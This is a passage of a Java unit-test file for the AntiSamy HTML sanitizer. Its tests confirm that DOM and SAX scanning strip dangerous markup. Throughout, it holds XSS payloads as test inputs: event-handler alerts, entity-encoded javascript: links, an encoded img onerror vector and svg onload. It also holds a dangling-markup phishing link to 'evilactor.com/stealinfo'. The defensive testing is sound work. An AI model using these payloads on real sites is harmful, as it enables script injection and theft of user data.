ScanException, PolicyException {\n Policy revised = policy.cloneWithDirective(Policy.ENTITY_ENCODE_INTL_CHARS, \"false\");", " String html = \"<b>letter 'a' with umlaut: \\u00e4\";\n String crDom = as.scan(html, revised, AntiSamy.DOM).getCleanHTML();\n String crSax = as.scan(html, revised, AntiSamy.SAX).getCleanHTML();\n assertTrue(crDom.contains(\"\\u00e4\"));\n assertTrue(crSax.contains(\"\\u00e4\"));", " Policy revised2 = policy.cloneWithDirective(Policy.USE_XHTML, \"false\").cloneWithDirective(Policy.ENTITY_ENCODE_INTL_CHARS, \"true\");\n crDom = as.scan(html, revised2, AntiSamy.DOM).getCleanHTML();\n crSax = as.scan(html, revised2, AntiSamy.SAX).getCleanHTML();\n assertTrue(!crDom.contains(\"\\u00e4\"));\n assertTrue(crDom.contains(\"&auml;\"));\n assertTrue(!crSax.contains(\"\\u00e4\"));\n assertTrue(crSax.contains(\"&auml;\"));", " Policy revised3 = policy.cloneWithDirective(Policy.USE_XHTML, \"true\").cloneWithDirective(Policy.ENTITY_ENCODE_INTL_CHARS, \"true\");\n crDom = as.scan(html, revised3, AntiSamy.DOM).getCleanHTML();\n crSax = as.scan(html, revised3, AntiSamy.SAX).getCleanHTML();\n assertTrue(!crDom.contains(\"\\u00e4\"));\n assertTrue(crDom.contains(\"&auml;\"));\n assertTrue(!crSax.contains(\"\\u00e4\"));\n assertTrue(crSax.contains(\"&auml;\"));\n }", " @Test\n public void iframeAsReportedByOndrej() throws ScanException, PolicyException {\n String html = \"<iframe></iframe>\";", " Tag tag = new Tag(\"iframe\", Collections.<String, Attribute>emptyMap(), Policy.ACTION_VALIDATE);\n Policy revised = policy.addTagRule(tag);", " String crDom = as.scan(html, revised, AntiSamy.DOM).getCleanHTML();\n String crSax = as.scan(html, revised, AntiSamy.SAX).getCleanHTML();", " assertTrue(html.equals(crDom));\n assertTrue(html.equals(crSax));\n }", " /*\n\t * Tests cases dealing with nofollowAnchors directive. Assumes anchor tags\n\t * have an action set to \"validate\" (may be implicit) in the policy file.\n\t */\n @Test\n public void nofollowAnchors() throws ScanException, PolicyException {", " // if we have activated nofollowAnchors\n Policy revisedPolicy = policy.cloneWithDirective(Policy.ANCHORS_NOFOLLOW, \"true\");", " // adds when not present\n assertTrue(as.scan(\"<a href=\\\"blah\\\">link</a>\", revisedPolicy, AntiSamy.DOM).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));\n assertTrue(as.scan(\"<a href=\\\"blah\\\">link</a>\", revisedPolicy, AntiSamy.SAX).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));", " // adds properly even with bad attr\n assertTrue(as.scan(\"<a href=\\\"blah\\\" bad=\\\"true\\\">link</a>\", revisedPolicy, AntiSamy.DOM).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));\n assertTrue(as.scan(\"<a href=\\\"blah\\\" bad=\\\"true\\\">link</a>\", revisedPolicy, AntiSamy.SAX).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));", " // rel with bad value gets corrected\n assertTrue(as.scan(\"<a href=\\\"blah\\\" rel=\\\"blh\\\">link</a>\", revisedPolicy, AntiSamy.DOM).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));\n assertTrue(as.scan(\"<a href=\\\"blah\\\" rel=\\\"blh\\\">link</a>\", revisedPolicy, AntiSamy.SAX).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));", " // correct attribute doesn't get messed with\n assertTrue(as.scan(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));\n assertTrue(as.scan(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));", " // if two correct attributes, only one remaining after scan\n assertTrue(as.scan(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\" rel=\\\"nofollow\\\">link</a>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));\n assertTrue(as.scan(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\" rel=\\\"nofollow\\\">link</a>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));", " // test if value is off - does it add?\n assertTrue(!as.scan(\"a href=\\\"blah\\\">link</a>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"nofollow\"));\n assertTrue(!as.scan(\"a href=\\\"blah\\\">link</a>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"nofollow\"));\n }", " @Test\n public void validateParamAsEmbed() throws ScanException, PolicyException {\n // activate policy setting for this test\n Policy revised = policy.cloneWithDirective(Policy.VALIDATE_PARAM_AS_EMBED, \"true\").cloneWithDirective(Policy.FORMAT_OUTPUT, \"false\").cloneWithDirective(Policy.USE_XHTML, \"true\");", " // let's start with a YouTube embed\n String input = \"<object width=\\\"560\\\" height=\\\"340\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\\\"></param><param name=\\\"allowFullScreen\\\" value=\\\"true\\\"></param><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\"></param><embed src=\\\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"560\\\" height=\\\"340\\\"></embed></object>\";\n String expectedOutput = \"<object height=\\\"340\\\" width=\\\"560\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" /><param name=\\\"allowFullScreen\\\" value=\\\"true\\\" /><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\" /><embed allowfullscreen=\\\"true\\\" allowscriptaccess=\\\"always\\\" height=\\\"340\\\" src=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" type=\\\"application/x-shockwave-flash\\\" width=\\\"560\\\" /></object>\";\n CleanResults cr = as.scan(input, revised, AntiSamy.DOM);\n assertThat(cr.getCleanHTML(), containsString(expectedOutput));", " String saxExpectedOutput = \"<object width=\\\"560\\\" height=\\\"340\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" /><param name=\\\"allowFullScreen\\\" value=\\\"true\\\" /><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\" /><embed src=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"560\\\" height=\\\"340\\\" /></object>\";\n cr = as.scan(input, revised, AntiSamy.SAX);\n assertThat(cr.getCleanHTML(), equalTo(saxExpectedOutput));", " // now what if someone sticks malicious URL in the value of the\n // value attribute in the param tag? remove that param tag\n input = \"<object width=\\\"560\\\" height=\\\"340\\\"><param name=\\\"movie\\\" value=\\\"http://supermaliciouscode.com/badstuff.swf\\\"></param><param name=\\\"allowFullScreen\\\" value=\\\"true\\\"></param><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\"></param><embed src=\\\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"560\\\" height=\\\"340\\\"></embed></object>\";\n expectedOutput = \"<object height=\\\"340\\\" width=\\\"560\\\"><param name=\\\"allowFullScreen\\\" value=\\\"true\\\" /><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\" /><embed allowfullscreen=\\\"true\\\" allowscriptaccess=\\\"always\\\" height=\\\"340\\\" src=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" type=\\\"application/x-shockwave-flash\\\" width=\\\"560\\\" /></object>\";\n saxExpectedOutput = \"<object width=\\\"560\\\" height=\\\"340\\\"><param name=\\\"allowFullScreen\\\" value=\\\"true\\\" /><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\" /><embed src=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"560\\\" height=\\\"340\\\" /></object>\";\n cr = as.scan(input, revised, AntiSamy.DOM);\n assertThat(cr.getCleanHTML(), containsString(expectedOutput));", " cr = as.scan(input, revised, AntiSamy.SAX);\n assertThat(cr.getCleanHTML(), equalTo(saxExpectedOutput));", " // now what if someone sticks malicious URL in the value of the src\n // attribute in the embed tag? remove that embed tag\n input = \"<object width=\\\"560\\\" height=\\\"340\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\\\"></param><param name=\\\"allowFullScreen\\\" value=\\\"true\\\"></param><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\"></param><embed src=\\\"http://hereswhereikeepbadcode.com/ohnoscary.swf\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"560\\\" height=\\\"340\\\"></embed></object>\";\n expectedOutput = \"<object height=\\\"340\\\" width=\\\"560\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" /><param name=\\\"allowFullScreen\\\" value=\\\"true\\\" /><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\" /></object>\";\n saxExpectedOutput = \"<object width=\\\"560\\\" height=\\\"340\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" /><param name=\\\"allowFullScreen\\\" value=\\\"true\\\" /><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\" /></object>\";", " cr = as.scan(input, revised, AntiSamy.DOM);\n assertThat(cr.getCleanHTML(), containsString(expectedOutput));\n CleanResults scan = as.scan(input, revised, AntiSamy.SAX);\n assertThat(scan.getCleanHTML(), equalTo(saxExpectedOutput));\n }", " @Test\n public void compareSpeedsShortStrings() throws IOException, ScanException, PolicyException {", " double totalDomTime = 0;\n double totalSaxTime = 0;", " int testReps = 1000;", " String html = \"<body> hey you <img/> out there on your own </body>\";", " for (int j = 0; j < testReps; j++) {\n totalDomTime += as.scan(html, policy, AntiSamy.DOM).getScanTime();\n totalSaxTime += as.scan(html, policy, AntiSamy.SAX).getScanTime();\n }", " System.out.println(\"Total DOM time short string: \" + totalDomTime);\n System.out.println(\"Total SAX time short string: \" + totalSaxTime);\n }", " @Test\n public void profileDom() throws IOException, ScanException, PolicyException {\n runProfiledTest(AntiSamy.DOM);\n }", " @Test\n public void profileSax() throws IOException, ScanException, PolicyException {\n runProfiledTest(AntiSamy.SAX);\n }", " private void runProfiledTest(int scanType) throws ScanException, PolicyException {\n double totalDomTime;", " warmup(scanType);", " int testReps = 9999;", " String html = \"<body> hey you <img/> out there on your own </body>\";", " Double each = 0D;\n int repeats = 10;\n for (int i = 0; i < repeats; i++) {\n totalDomTime = 0;\n for (int j = 0; j < testReps; j++) {\n totalDomTime += as.scan(html, policy, scanType).getScanTime();\n }\n each = each + totalDomTime;\n System.out.println(\"Total \" + (scanType == AntiSamy.DOM ? \"DOM\" : \"SAX\") + \" time 9999 reps short string: \" + totalDomTime);\n }\n System.out.println(\"Average time: \" + (each / repeats));\n }", " private void warmup(int scanType) throws ScanException, PolicyException {\n int warmupReps = 15000;", " String html = \"<body> hey you <img/> out there on your own </body>\";", " for (int j = 0; j < warmupReps; j++) {\n as.scan(html, policy, scanType).getScanTime();\n }\n }", " @Test\n public void comparePatternSpeed() throws IOException, ScanException, PolicyException {", " final Pattern invalidXmlCharacters =\n Pattern.compile(\"[\\\\u0000-\\\\u001F\\\\uD800-\\\\uDFFF\\\\uFFFE-\\\\uFFFF&&[^\\\\u0009\\\\u000A\\\\u000D]]\");", " int testReps = 10000;", " String html = \"<body> hey you <img/> out there on your own </body>\";", " String s = null;\n //long start = System.currentTimeMillis();\n for (int j = 0; j < testReps; j++) {\n s = invalidXmlCharacters.matcher(html).replaceAll(\"\");\n }\n //long total = System.currentTimeMillis() - start;", " //start = System.currentTimeMillis();\n Matcher matcher;\n for (int j = 0; j < testReps; j++) {\n matcher = invalidXmlCharacters.matcher(html);\n if (matcher.matches()) {\n s = matcher.replaceAll(\"\");\n }\n }\n //long total2 = System.currentTimeMillis() - start;", " assertNotNull(s);\n //System.out.println(\"replaceAllDirect \" + total);\n //System.out.println(\"match then replace: \" + total2);\n }", " @Test\n public void testOnsiteRegex() throws ScanException, PolicyException {\n \tassertIsGoodOnsiteURL(\"foo\");\n \tassertIsGoodOnsiteURL(\"/foo/bar\");\n \tassertIsGoodOnsiteURL(\"../../di.cgi?foo&amp;3D~\");\n \tassertIsGoodOnsiteURL(\"/foo/bar/1/sdf;jsessiond=1f1f12312_123123\");\n }\n \n void assertIsGoodOnsiteURL(String url) throws ScanException, PolicyException {\n \tString html = as.scan(\"<a href=\\\"\" + url + \"\\\">X</a>\", policy, AntiSamy.DOM).getCleanHTML();\n assertThat(html, containsString(\"href=\\\"\"));\n\t}\n \n\t@Test\n public void issue10() throws ScanException, PolicyException {\n \tassertFalse(as.scan(\"<a href=\\\"javascript&colon;alert&lpar;1&rpar;\\\">X</a>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertFalse(as.scan(\"<a href=\\\"javascript&colon;alert&lpar;1&rpar;\\\">X</a>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));\n }\n \n @Test\n public void issue147() throws ScanException, PolicyException {\n URL url = getClass().getResource(\"/antisamy-tinymce.xml\");", " Policy pol = Policy.getInstance(url);\n as.scan(\"<table><tr><td></td></tr></table>\", pol, AntiSamy.DOM);\n }", " @Test\n public void issue75() throws ScanException, PolicyException {\n URL url = getClass().getResource(\"/antisamy-tinymce.xml\");\n Policy pol = Policy.getInstance(url);\n as.scan(\"<script src=\\\"<. \\\">\\\"></script>\", pol, AntiSamy.DOM);\n as.scan(\"<script src=\\\"<. \\\">\\\"></script>\", pol, AntiSamy.SAX);\n }", " @Test\n public void issue144() throws ScanException, PolicyException {\n String pinata = \"pi\\u00f1ata\";\n CleanResults results = as.scan(pinata, policy, AntiSamy.DOM);\n String cleanHTML = results.getCleanHTML();\n assertEquals(pinata, cleanHTML);\n }", " @Test\n public void testWhitespaceNotBeingMangled() throws ScanException, PolicyException {\n String test = \"<select name=\\\"name\\\"><option value=\\\"Something\\\">Something</select>\";\n String expected = \"<select name=\\\"name\\\"><option value=\\\"Something\\\">Something</option></select>\";\n Policy preserveSpace = policy.cloneWithDirective( Policy.PRESERVE_SPACE, \"true\" );\n CleanResults preserveSpaceResults = as.scan(test, preserveSpace, AntiSamy.SAX);\n assertEquals( expected, preserveSpaceResults.getCleanHTML() );\n }", " @Test\n public void testDataTag159() throws ScanException, PolicyException {\n /* issue #159 - allow dynamic HTML5 data-* attribute */\n String good = \"<p data-tag=\\\"abc123\\\">Hello World!</p>\";\n String bad = \"<p dat-tag=\\\"abc123\\\">Hello World!</p>\";\n String goodExpected = \"<p data-tag=\\\"abc123\\\">Hello World!</p>\";\n String badExpected = \"<p>Hello World!</p>\";\n // test good attribute \"data-\"\n CleanResults cr = as.scan(good, policy, AntiSamy.SAX);\n String s = cr.getCleanHTML();\n assertEquals(goodExpected, s);\n cr = as.scan(good, policy, AntiSamy.DOM);\n s = cr.getCleanHTML();\n assertEquals(goodExpected, s);", " // test bad attribute \"dat-\"\n cr = as.scan(bad, policy, AntiSamy.SAX);\n s = cr.getCleanHTML();\n assertEquals(badExpected, s);\n cr = as.scan(bad, policy, AntiSamy.DOM);\n s = cr.getCleanHTML();\n assertEquals(badExpected, s);\n }", " @Test\n public void testXSSInAntiSamy151() throws ScanException, PolicyException {\n String test = \"<bogus>whatever</bogus><img src=\\\"https://ssl.gstatic.com/codesite/ph/images/defaultlogo.png\\\" \"\n + \"onmouseover=\\\"alert('xss')\\\">\";\n CleanResults results_sax = as.scan(test, policy, AntiSamy.SAX);\n CleanResults results_dom = as.scan(test, policy, AntiSamy.DOM);", " assertEquals( results_sax.getCleanHTML(), results_dom.getCleanHTML());\n assertEquals(\"whatever<img src=\\\"https://ssl.gstatic.com/codesite/ph/images/defaultlogo.png\\\" />\", results_dom.getCleanHTML());\n }", " @Test\n public void testAnotherXSS() throws ScanException, PolicyException {\n String test = \"<a href=\\\"http://example.com\\\"&amp;/onclick=alert(9)>foo</a>\";\n CleanResults results_sax = as.scan(test, policy, AntiSamy.SAX);\n CleanResults results_dom = as.scan(test, policy, AntiSamy.DOM);", " assertEquals( results_sax.getCleanHTML(), results_dom.getCleanHTML());\n assertEquals(\"<a href=\\\"http://example.com\\\" rel=\\\"nofollow\\\">foo</a>\", results_dom.getCleanHTML());\n }", " @Test\n public void testIssue2() throws ScanException, PolicyException {\n String test = \"<style onload=alert(1)>h1 {color:red;}</style>\";\n assertThat(as.scan(test, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"alert\")));\n assertThat(as.scan(test, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"alert\")));\n }\n \n /*\n * Mailing list user sent this in. Didn't work, but good test to leave in.\n */\n @Test\n public void testUnknownTags() throws ScanException, PolicyException {\n String test = \"<%/onmouseover=prompt(1)>\";\n CleanResults saxResults = as.scan(test, policy, AntiSamy.SAX);\n CleanResults domResults = as.scan(test, policy, AntiSamy.DOM);\n assertThat(saxResults.getCleanHTML(), not(containsString(\"<%/\")));\n assertThat(domResults.getCleanHTML(), not(containsString(\"<%/\")));\n }\n \n @Test\n public void testStreamScan() throws ScanException, PolicyException, InterruptedException, ExecutionException {\n String testImgSrcURL = \"<img src=\\\"https://ssl.gstatic.com/codesite/ph/images/defaultlogo.png\\\" \";\n Reader reader = new StringReader(\"<bogus>whatever</bogus>\" + testImgSrcURL + \"onmouseover=\\\"alert('xss')\\\">\");\n Writer writer = new StringWriter();\n as.scan(reader, writer, policy);\n String cleanHtml = writer.toString().trim();\n assertEquals(\"whatever\" + testImgSrcURL + \"/>\", cleanHtml);\n }\n \n @Test\n public void testGithubIssue23() throws ScanException, PolicyException {\n \t\n // Antisamy Stripping nested lists and tables\n \tString test23 = \"<ul><li>one</li><li>two</li><li>three<ul><li>a</li><li>b</li></ul></li></ul>\";\n \t// Issue claims you end up with this:\n \t// <ul><li>one</li><li>two</li><li>three<ul></ul></li><li>a</li><li>b</li></ul>\n \t// Meaning the <li>a</li><li>b</li> elements were moved outside of the nested <ul> list they were in\n \t\n \t// The a.replaceAll(\"\\\\s\",\"\") is used to strip out all the whitespace in the CleanHTML so we can successfully find\n \t// what we expect to find.\n assertThat(as.scan(test23, policy, AntiSamy.SAX).getCleanHTML().replaceAll(\"\\\\s\",\"\"), containsString(\"<ul><li>a</li>\"));\n assertThat(as.scan(test23, policy, AntiSamy.DOM).getCleanHTML().replaceAll(\"\\\\s\",\"\"), containsString(\"<ul><li>a</li>\"));\n \n // However, the test above can't replicate this misbehavior.\n }\n \n // TODO: This issue is a valid enhancement request we plan to implement in the future.\n // Commenting out the test case for now so test failures aren't included in a released version of AntiSamy.\n/* @Test\n public void testGithubIssue24() throws ScanException, PolicyException {\n \t\n // if we have onUnknownTag set to encode, it still strips out the @ and everything else after the it\n \t// DOM Parser actually rips out the entire <name@mail.com> value even with onUnknownTag set\n TestPolicy revisedPolicy = policy.cloneWithDirective(\"onUnknownTag\", \"encode\");", " \tString email = \"name@mail.com\";\n String test24 = \"firstname,lastname<\" + email + \">\";\n assertThat(as.scan(test24, revisedPolicy, AntiSamy.SAX).getCleanHTML(), containsString(email));\n assertThat(as.scan(test24, revisedPolicy, AntiSamy.DOM).getCleanHTML(), containsString(email));\n }\n*/\n @Test\n public void testGithubIssue26() throws ScanException, PolicyException {\n // Potential bypass (False positive)\n \tString test26 = \"&#x22;&#x3E;&#x3C;&#x69;&#x6D;&#x67;&#x20;&#x73;&#x72;&#x63;&#x3D;&#x61;&#x20;&#x6F;&#x6E;&#x65;&#x72;&#x72;&#x6F;&#x72;&#x3D;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3E;\";\n \t// Issue claims you end up with this:\n \t// ><img src=a onerror=alert(1)>\n \t\n assertThat(as.scan(test26, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"<img src=a onerror=alert(1)>\")));\n assertThat(as.scan(test26, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"<img src=a onerror=alert(1)>\")));\n \n // But you actually end up with this: &quot;&gt;&lt;img src=a onerror=alert(1)&gt; -- Which is as expected\n }\n \n @Test\n public void testGithubIssue27() throws ScanException, PolicyException {\n \t// This test doesn't cause an ArrayIndexOutOfBoundsException, as reported in this issue even though it\n \t// replicates the test as described.\n String test27 = \"my &test\";\n assertThat(as.scan(test27, policy, AntiSamy.DOM).getCleanHTML(), containsString(\"test\"));\n assertThat(as.scan(test27, policy, AntiSamy.SAX).getCleanHTML(), containsString(\"test\"));\n }", "static final String test33 = \"<html>\\n\"\n \t + \"<head>\\n\"\n \t + \" <title>Test</title>\\n\"\n \t + \"</head>\\n\"\n \t + \"<body>\\n\"\n \t + \" <h1>Tricky Encoding</h1>\\n\"\n \t + \" <h2>NOT Sanitized by AntiSamy</h2>\\n\"\n \t + \" <ol>\\n\"\n \t + \" <li><a href=\\\"javascript&#00058x=alert,x%281%29\\\">X&#00058;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&#00058y=alert,y%281%29\\\">X&#00058;y</a></li>\\n\"", " \t + \" <li><a href=\\\"javascript&#58x=alert,x%281%29\\\">X&#58;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&#58y=alert,y%281%29\\\">X&#58;y</a></li>\\n\"", " \t + \" <li><a href=\\\"javascript&#x0003Ax=alert,x%281%29\\\">X&#x0003A;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&#x0003Ay=alert,y%281%29\\\">X&#x0003A;y</a></li>\\n\"", " \t + \" <li><a href=\\\"javascript&#x3Ax=alert,x%281%29\\\">X&#x3A;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&#x3Ay=alert,y%281%29\\\">X&#x3A;y</a></li>\\n\"\n \t + \" </ol>\\n\"\n \t + \" <h1>Tricky Encoding with Ampersand Encoding</h1>\\n\"\n \t + \" <p>AntiSamy turns harmless payload into XSS by just decoding the encoded ampersands in the href attribute</a>\\n\"\n \t + \" <ol>\\n\"\n \t + \" <li><a href=\\\"javascript&amp;#x3Ax=alert,x%281%29\\\">X&amp;#x3A;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&AMP;#x3Ax=alert,x%281%29\\\">X&AMP;#x3A;x</a></li>\\n\"", " \t + \" <li><a href=\\\"javascript&#38;#x3Ax=alert,x%281%29\\\">X&#38;#x3A;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&#00038;#x3Ax=alert,x%281%29\\\">X&#00038;#x3A;x</a></li>\\n\"", " \t + \" <li><a href=\\\"javascript&#x26;#x3Ax=alert,x%281%29\\\">X&#x26;#x3A;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&#x00026;#x3Ax=alert,x%281%29\\\">X&#x00026;#x3A;x</a></li>\\n\"\n \t + \" </ol>\\n\"\n \t + \" <p><a href=\\\"javascript&#x3Ax=alert,x%281%29\\\">Original without ampersand encoding</a></p>\\n\"\n \t + \"</body>\\n\"\n \t + \"</html>\";\n \t\t\t\n @Test\n public void testGithubIssue33() throws ScanException, PolicyException {\n \t\n // Potential bypass", " // Issue claims you end up with this:\n // javascript:x=alert and other similar problems (javascript&#00058x=alert,x%281%29) but you don't.\n // So issue is a false positive and has been closed.\n //System.out.println(as.scan(test33, policy, AntiSamy.SAX).getCleanHTML());", " assertThat(as.scan(test33, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"javascript&#00058x=alert,x%281%29\")));\n assertThat(as.scan(test33, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"javascript&#00058x=alert,x%281%29\")));\n }\n \n // TODO: This issue is a valid enhancement request. We are trying to decide whether to implement in the future.\n // Commenting out the test case for now so test failures aren't included in a released version of AntiSamy.\n/*\n @Test\n public void testGithubIssue34a() throws ScanException, PolicyException {", " \t// bypass stripNonValidXMLCharacters\n \t// Issue indicates: \"<div>Hello\\\\uD83D\\\\uDC95</div>\" should be sanitized to: \"<div>Hello</div>\"\n \t\n String test34a = \"<div>Hello\\uD83D\\uDC95</div>\";\n assertEquals(\"<div>Hello</div>\", as.scan(test34a, policy, AntiSamy.SAX).getCleanHTML());\n assertEquals(\"<div>Hello</div>\", as.scan(test34a, policy, AntiSamy.DOM).getCleanHTML());\n }", " @Test\n public void testGithubIssue34b() throws ScanException, PolicyException {", " \t// bypass stripNonValidXMLCharacters\n \t// Issue indicates: \"<div>Hello\\\\uD83D\\\\uDC95</div>\" should be sanitized to: \"<div>Hello</div>\"\n \t\n String test34b = \"\\uD888\";\n assertEquals(\"\", as.scan(test34b, policy, AntiSamy.DOM).getCleanHTML());\n assertEquals(\"\", as.scan(test34b, policy, AntiSamy.SAX).getCleanHTML());\n }\n*/", " static final String test40 = \"<html>\\n\"\n + \"<head>\\n\"\n + \" <title>Test</title>\\n\"\n + \"</head>\\n\"\n + \"<body>\\n\"\n + \" <h1>Tricky Encoding</h1>\\n\"\n + \" <h2>NOT Sanitized by AntiSamy</h2>\\n\"\n + \" <ol>\\n\"\n + \" <li><h3>svg onload=alert follows:</h3><svg onload=alert(1)//</li>\\n\"\n + \" </ol>\\n\"\n + \"</body>\\n\"\n + \"</html>\";", " @Test\n public void testGithubIssue40() throws ScanException, PolicyException {", " // Concern is that: <svg onload=alert(1)// does not get cleansed.\n // Based on these test results, it does get cleaned so this issue is a false positive, so we closed it.", " assertThat(as.scan(test40, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"<svg onload=alert(1)//\")));\n //System.out.println(\"SAX parser: \" + as.scan(test40, policy, AntiSamy.SAX).getCleanHTML());\n assertThat(as.scan(test40, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"<svg onload=alert(1)//\")));\n //System.out.println(\"DOM parser: \" + as.scan(test40, policy, AntiSamy.DOM).getCleanHTML());\n }", " @Test\n public void testGithubIssue48() throws ScanException, PolicyException {", " // Concern is that onsiteURL regex is not safe for URLs that start with //.\n // For example: //evilactor.com?param=foo", " final String phishingAttempt = \"<a href=\\\"//evilactor.com/stealinfo?a=xxx&b=xxx\\\"><span style=\\\"color:red;font-size:100px\\\">\"\n + \"You must click me</span></a>\";", " // Output: <a rel=\"nofollow\"><span style=\"color: red;font-size: 100.0px;\">You must click me</span></a>", " assertThat(as.scan(phishingAttempt, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"//evilactor.com/\")));\n assertThat(as.scan(phishingAttempt, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"//evilactor.com/\")));", " // This ones never failed, they're just to prove a dangling markup attack on the following resulting HTML won't work.\n // Less probable case (steal more tags):\n final String danglingMarkup = \"<div>User input: \" +\n \"<input type=\\\"text\\\" name=\\\"input\\\" value=\\\"\\\"><a href='//evilactor.com?\"+\n \"\\\"> all this info wants to be stolen with <i>danlging markup attack</i>\" +\n \" until a single quote to close is found'</div>\";", " assertThat(as.scan(danglingMarkup, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"//evilactor.com/\")));\n assertThat(as.scan(danglingMarkup, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"//evilactor.com/\")));", " // More probable case (steal just an attribute):\n // HTML before attack: <input type=\"text\" name=\"input\" value=\"\" data-attribute-to-steal=\"some value\">\n final String danglingMarkup2 = \"<div>User input: \" +\n \"<input type=\\\"text\\\" name=\\\"input\\\" value=\\\"\\\" data-attribute-to-steal=\\\"some value\\\">\";\n \n assertThat(as.scan(danglingMarkup2, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"//evilactor.com/\")));\n assertThat(as.scan(danglingMarkup2, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"//evilactor.com/\")));\n }", " @Test\n public void testGithubIssue62() {\n // Concern is that when a processing instruction is at the root level, node removal gets messy and Null pointer exception arises.\n // More test cases are added for PI removal.", " try{\n assertThat(as.scan(\"|<?ai aaa\", policy, AntiSamy.DOM).getCleanHTML(), is(\"|\"));\n assertThat(as.scan(\"|<?ai aaa\", policy, AntiSamy.SAX).getCleanHTML(), is(\"|\"));", " assertThat(as.scan(\"<div>|<?ai aaa\", policy, AntiSamy.DOM).getCleanHTML(), is(\"<div>|</div>\"));\n assertThat(as.scan(\"<div>|<?ai aaa\", policy, AntiSamy.SAX).getCleanHTML(), is(\"<div>|</div>\"));", " assertThat(as.scan(\"<div><?foo note=\\\"I am XML processing instruction. I wish to be excluded\\\" ?></div>\", policy, AntiSamy.DOM)\n .getCleanHTML(), not(containsString(\"<?foo\")));\n assertThat(as.scan(\"<div><?foo note=\\\"I am XML processing instruction. I wish to be excluded\\\" ?></div>\", policy, 